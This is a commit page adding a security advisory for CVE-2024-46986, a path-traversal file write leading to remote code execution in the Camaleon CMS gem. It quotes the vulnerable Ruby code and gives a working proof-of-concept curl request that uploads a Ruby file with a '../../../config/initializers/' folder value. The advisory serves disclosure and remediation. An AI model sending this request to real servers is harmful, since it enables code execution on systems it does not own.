Skip to content

Commit a80f9b5

Browse files
committed
GHSA SYNC: 1 brand new advisory
1 parent 6f90c48 commit a80f9b5

File tree

1 file changed

+130
-0
lines changed

1 file changed

+130
-0
lines changed

gems/camaleon_cms/CVE-2024-46986.yml

+130
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
---
2+
gem: camaleon_cms
3+
cve: 2024-46986
4+
ghsa: wmjg-vqhv-q5p5
5+
url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-wmjg-vqhv-q5p5
6+
title: Camaleon CMS affected by arbitrary file write to RCE (GHSL-2024-182)
7+
date: 2024-09-18
8+
description: |
9+
An arbitrary file write vulnerability accessible via the upload method
10+
of the MediaController allows authenticated users to write arbitrary
11+
files to any location on the web server Camaleon CMS is running on
12+
(depending on the permissions of the underlying filesystem).
13+
E.g. This can lead to a delayed remote code execution in case an
14+
attacker is able to write a Ruby file into the config/initializers/
15+
subfolder of the Ruby on Rails application.
16+
17+
Once a user upload is started via the
18+
[upload](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87)
19+
method, the file_upload and the folder parameter
20+
21+
```ruby
22+
def upload(settings = {})
23+
params[:dimension] = nil if params[:skip_auto_crop].present?
24+
f = { error: 'File not found.' }
25+
if params[:file_upload].present?
26+
f = upload_file(params[:file_upload],
27+
{ folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
28+
thumb_size: params[:thumb_size] }.merge(settings))
29+
end
30+
[..]
31+
end
32+
```
33+
34+
are passed to the
35+
[upload_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24)
36+
method. Inside that method the given settings are
37+
[merged](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42)
38+
with some presets. The file format is
39+
[checked against](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62)
40+
the formats settings we can override with the formats parameters.
41+
42+
```ruby
43+
# formats validations
44+
return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
45+
uploaded_io.path, settings[:formats]
46+
)
47+
```
48+
49+
Our given folder is then
50+
[passed unchecked](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74)
51+
to the Cama_uploader:
52+
53+
```ruby
54+
key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
55+
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })
56+
```
57+
58+
In the [add_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77)
59+
method of CamaleonCmsLocalUploader this key argument containing the
60+
unchecked path is then used to write the file to the file system:
61+
62+
```ruby
63+
def add_file(uploaded_io_or_file_path, key, args = {})
64+
[..]
65+
upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
66+
File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
67+
[..]
68+
end
69+
```
70+
71+
## Proof of concept
72+
73+
Precondition: A valid account of a registered user is required. (The
74+
values for auth_token and _cms_session need to be replaced with
75+
authenticated values in the curl command below)
76+
77+
curl --path-as-is -i -s -k -X $'POST' \
78+
-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: */*' -H $'Connection: keep-alive' \
79+
-b $'auth_token=[..]; _cms_session=[..]' \
80+
--data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"file_upload\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"folder\"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"skip_auto_crop\"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a' \
81+
$'https://<camaleon-host>/admin/media/upload?actions=false'
82+
83+
Note that the upload form field formats was removed so that Camaleon
84+
CMS accepts any file. The folder was set to
85+
../../../config/initializers/so that following Ruby script is written
86+
into the initializers folder of the Rails web app:
87+
88+
puts "================================="
89+
puts "================================="
90+
puts "= COMPROMISED ="
91+
puts "================================="
92+
puts "================================="
93+
Once Camaleon CMS is restarted following output will be visible in the log:
94+
95+
=================================
96+
=================================
97+
= COMPROMISED =
98+
=================================
99+
=================================
100+
101+
## Impact
102+
103+
This issue may lead up to Remote Code Execution (RCE) via arbitrary
104+
file write.
105+
106+
## Remediation
107+
108+
Normalize file paths constructed from untrusted user input before using
109+
them and check that the resulting path is inside the targeted directory.
110+
Additionally, do not allow character sequences such as .. in untrusted
111+
input that is used to build paths.
112+
113+
## See also:
114+
115+
[CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)
116+
[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
117+
cvss_v3: 9.9
118+
unaffected_versions:
119+
- "< 2.8.0"
120+
patched_versions:
121+
- ">= 2.8.1"
122+
related:
123+
url:
124+
- https://nvd.nist.gov/vuln/detail/CVE-2024-46986
125+
- https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-wmjg-vqhv-q5p5
126+
- https://github.com/owen2345/camaleon-cms/commit/b3b12b1e4a9e3fccaf5bb4330820fa7f8744e6bd
127+
- https://codeql.github.com/codeql-query-help/ruby/rb-path-injection
128+
- https://owasp.org/www-community/attacks/Path_Traversal
129+
- https://www.reddit.com/r/rails/comments/1exwtdm/camaleon_cms_281_has_been_released
130+
- https://github.com/advisories/GHSA-wmjg-vqhv-q5p5

0 commit comments

Comments
 (0)